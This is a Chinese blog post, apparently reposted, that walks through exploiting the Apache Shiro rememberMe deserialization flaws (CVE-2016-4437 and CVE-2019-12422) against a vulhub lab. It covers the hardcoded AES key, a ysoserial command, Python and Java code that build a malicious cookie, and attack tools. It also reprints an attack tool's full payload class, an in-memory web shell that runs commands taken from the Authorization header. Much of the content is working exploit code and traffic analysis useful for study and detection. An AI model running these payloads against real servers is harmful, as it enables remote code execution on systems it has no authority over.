当前位置: 首页 > ai >正文

shiro 反序列化攻防

概述

Apache Shiro 是一个强大且灵活的 Java 安全框架,广泛用于认证、授权、加密和会话管理。其中 rememberMe 功能在实际部署中被广泛启用,但由于对用户信息的序列化与加密处理存在安全设计缺陷,导致攻击者可以通过构造恶意的序列化数据,实现远程代码执行(RCE)等高危攻击。

Shiro 反序列化漏洞主要包括两个知名漏洞:

  • Shiro-550(CVE-2016-4437):由于使用了硬编码的 AES 加密密钥,攻击者可直接构造合法的加密负载并通过 rememberMe Cookie 注入执行反序列化链。
  • Shiro-721(CVE-2019-12422):即使开发者更换了密钥,Shiro 在反序列化过程中缺乏类型限制和白名单校验,依然可能触发任意类加载与反序列化漏洞。

Shiro-550反序列化

概述
漏洞原理

Apache Shiro 的 RememberMe 功能会将用户信息序列化后,使用 AES 加密并进行 Base64 编码,存储在 rememberMe Cookie 中。服务器接收到该 Cookie 后,会进行解码、解密并反序列化。

由于反序列化过程未做安全校验,攻击者可构造恶意序列化数据并用已知密钥加密,伪造合法的 Cookie,从而实现远程代码执行(RCE)。

影响版本

Apache Shiro < 1.2.4

特征判断

服务端响应中出现 rememberMe=deleteMe 字段

漏洞编号

CVE-2016-4437

靶场

https://github.com/vulhub/vulhub/blob/master/shiro/CVE-2016-4437/README.zh-cn.md

漏洞分析
Set-Cookie字段解密

由于当前版本仍使用默认的 AES 加密密钥,攻击者可对 rememberMe Cookie 进行解密与反序列化,进而获取其中的 Java 对象内容。

ysoserial

项目地址

https://github.com/frohoff/ysoserial

使用 ysoserial 利用 Java 反序列化生成 CommonsBeanutils1 的 Gadget

java -jar ysoserial-all.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser
生成paylaod
python脚本

可使用以下项目中的脚本生成 payload:
https://github.com/M-Kings/WEB-shiro_rememberMe_encode_decode

调用其中的 encode_data 函数即可生成符合要求的 rememberMe Cookie 值:

print(encode_data("touch /tmp/success","kPH+bIxk5D2deZiIxcaaaA==","CommonsBeanutils1"))
java程序

使用 Java 程序同样可以生成 payload,但需确保项目中包含所需的依赖库。

package org.vulhub.shirodemo;import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;public class TestRemember {public static void main(String[] args) throws Exception {byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("/path", "to", "poc.ser"));AesCipherService aes = new AesCipherService();byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));ByteSource ciphertext = aes.encrypt(payloads, key);System.out.printf(ciphertext.toString());}
}
bp发包测试

使用命令 docker-compose exec web bash 进入靶机容器,以验证攻击效果。

工具一把梭

项目地址

https://github.com/SummerSec/ShiroAttack2

网上有很多工具利用的,挨着点就行了。

流量分析

本次流量分析以前文提到的工具发起的攻击为样本进行说明。

爆破密钥

先通过设置请求头中的 Cookie 字段为 rememberMe=yes,用于探测目标是否使用了 Shiro 框架。如下图所示,服务器返回 rememberMe=deleteMe 字样,说明存在 Shiro 并启用了 RememberMe 功能。

随后,使用工具内置的默认密钥对 payload 进行加密,并将其作为 rememberMe 的值发送至目标服务器,以测试是否存在反序列化漏洞。

检测当前利用链

如图所示,该请求包用于检测当前所使用的利用链是否有效。

解密并反序列化上述数据后,可以看到这是一个典型的 Java 反序列化利用结构。更详细的链条分析将在后续 Java 反序列化章节中展开说明。

命令执行

执行ls命令

具体的payload

rememberMe 的值解密并反序列化后,得到的恶意类在构造函数中会遍历当前线程对象,获取 HttpServletRequestHttpServletResponse,从请求头中提取命令并执行,最终将命令执行结果写入响应,实现远程命令执行(RCE)。

package com.summersec.x;import javax.servlet.ServletResponse;
import java.util.Scanner;
import org.apache.shiro.codec.Base64;
import java.lang.reflect.Field;
import java.lang.reflect.Array;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpServletRequest;
import java.util.HashSet;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;public class Test12573154460875 extends AbstractTranslet
{static HashSet h;static HttpServletRequest r;static HttpServletResponse p;private static boolean i(final Object o) {if (o == null || Test12573154460875.h.contains(o)) {return true;}Test12573154460875.h.add(o);return false;}private static void F(final Object o, final int n) {Class clazz = o.getClass();do {for (int length = clazz.getDeclaredFields().length, i = 0; i < length; ++i) {final Field field = clazz.getDeclaredFields()[i];field.setAccessible(true);try {final Object value = field.get(o);if (!((Object[])value).getClass().isArray()) {p(value, n);}else {final Object[] array = (Object[])value;for (int length2 = Array.getLength(value), j = 0; j < length2; ++j) {p(array[j], n);}}}catch (final Exception ex) {}}} while ((clazz = clazz.getSuperclass()) != null);}private static void p(final Object o, final int n) {if (n <= 52 && (Test12573154460875.r == null || Test12573154460875.p == null)) {if (!i(o)) {if (Test12573154460875.r == null && HttpServletRequest.class.isAssignableFrom(o.getClass())) {Test12573154460875.r = (HttpServletRequest)o;if (Test12573154460875.r.getHeader("Host") != null || Test12573154460875.r.getHeader("Authorization") != null) {try {Test12573154460875.p = (HttpServletResponse)Test12573154460875.r.getClass().getMethod("getResponse", (Class[])null).invoke(Test12573154460875.r, (Object[])null);}catch (final Exception ex) {Test12573154460875.r = null;}}else {Test12573154460875.r = null;}}if (Test12573154460875.r != null && Test12573154460875.p != null) {try {Test12573154460875.p.addHeader("Host", Test12573154460875.r.getHeader("Host"));try {((ServletResponse)Test12573154460875.p).getWriter().println(new StringBuffer().append("$$$").append(Base64.encodeToString(new Scanner(Runtime.getRuntime().exec(Base64.decodeToString(Test12573154460875.r.getHeader("Authorization").replaceAll("Basic ", ""))).getInputStream()).useDelimiter("\\A").next().getBytes())).append("$$$").toString());}catch (final Exception ex2) {}((ServletResponse)Test12573154460875.p).getWriter().flush();((ServletResponse)Test12573154460875.p).getWriter().close();}catch (final Exception ex3) {}return;}F(o, n + 1);}}}public Test12573154460875() {Test12573154460875.r = null;Test12573154460875.p = null;Test12573154460875.h = new HashSet();F(Thread.currentThread(), 0);}
}

Shiro-721反序列化

概述
漏洞原理

Shiro 在 1.2.4 之后虽然修复了默认密钥的问题,但在 rememberMe 反序列化过程中仍未对反序列化的类进行严格校验。当攻击者能够获取或猜测出 AES 密钥时,依然可以构造恶意 Gadget 链,通过 RememberMe Cookie 实现反序列化,从而触发远程代码执行(RCE)。

该漏洞本质上属于 Java 反序列化缺陷与 Shiro 框架不安全反序列化逻辑的叠加。

影响版本

Apache Shiro 1.2.4 ≤ 版本 < 1.4.2

特征判断

服务端响应中仍存在 rememberMe=deleteMe 字段
Shiro 使用已知 AES 加密算法且缺乏类白名单限制

漏洞编号

CVE-2019-12422

Shiro721 和 Shiro550 的差异

Shiro-721 和 Shiro-550 都是通过构造恶意的 rememberMe Cookie 实现反序列化执行命令,但两者在 Payload 构造方式上存在区别:Shiro-550 需要攻击者已知 AES 加密密钥(如默认的 kPH+bIxk5D2deZiIxcaaaA==),直接加密构造恶意序列化数据生成 Cookie;而 Shiro-721 不依赖已知密钥,而是通过分析服务器对不同填充数据的响应差异,推测合法加密值,借助已登录用户的合法 rememberMe Cookie 构造利用,从而绕过 Shiro 在 1.2.4 后的加固措施,继续实现远程代码执行。

工具分析

由于 Shiro-721 与 Shiro-550 在漏洞利用方式上基本一致,因此本节不再重复漏洞原理,直接通过工具对其进行分析。

漏洞探测

同样是发送一个Cookie: rememberMe=yes

爆破密钥

这个版本的密钥应该是随机生成的,但是爆破出来的密钥和Shiro-550版本的密钥一样。

参考文章

  1. Java反序列化漏洞——Shiro721https://goodapple.top/archives/261
  2. Shiro rememberMe 在线解密https://potato.gold/navbar/tool/shiro/ShiroTool.html
http://www.xdnf.cn/news/6629.html

相关文章:

  • 【C语言字符函数和字符串函数(一)】--字符分类函数,字符转换函数,strlen,strcpy,strcat函数的使用和模拟实现
  • AI数字人+展厅,定义未来展示空间的新模式
  • 如何选择PCB快速打样生产厂家?
  • UWB定位方案在水力发电站人员安全的应用推荐
  • C语言实现简单的—栈
  • 【漫话机器学习系列】261.工具变量(Instrumental Variables)
  • 从验证码绕过到信息轰炸:全面剖析安全隐患与防范策略
  • 网络流量分析 | NetworkMiner
  • activeMq 限制用户接收topic范围
  • Vue2项目中使用videojs播放mp4视频
  • EWOMAIL
  • Go语言实现生产者-消费者问题的多种方法
  • 【C++重载操作符与转换】句柄类与继承
  • 自定义CString类与MFC CString类接口对比
  • eSwitch manager 简介
  • InfluxDB 2.7 连续查询实战指南:Task 替代方案详解
  • python中元组的操作
  • 后端框架(2):Java的反射机制
  • 高效便捷的文字识别方案与解析
  • MATLAB中的概率分布生成:从理论到实践
  • 记录一次服务器卡顿
  • Redisson分布式锁-锁的可重入、可重试、WatchDog超时续约、multLock联锁(一文全讲透,超详细!!!)
  • SD框架下 LoRA 训练教程3-LORA学习率调度器(Learning Rate Scheduler)核心策略与实践指南
  • C++_STL_map与set
  • Java【13_1】final、初始化块、继承(测试题)
  • 每日Prompt:迷你 3D 建筑
  • pcie phy-电气层-gen1/2(TX)
  • C++ 条件变量与线程通知机制:std::condition_variable
  • PD 分离推理的加速大招,百度智能云网络基础设施和通信组件的优化实践
  • 【data】上海膜拜数据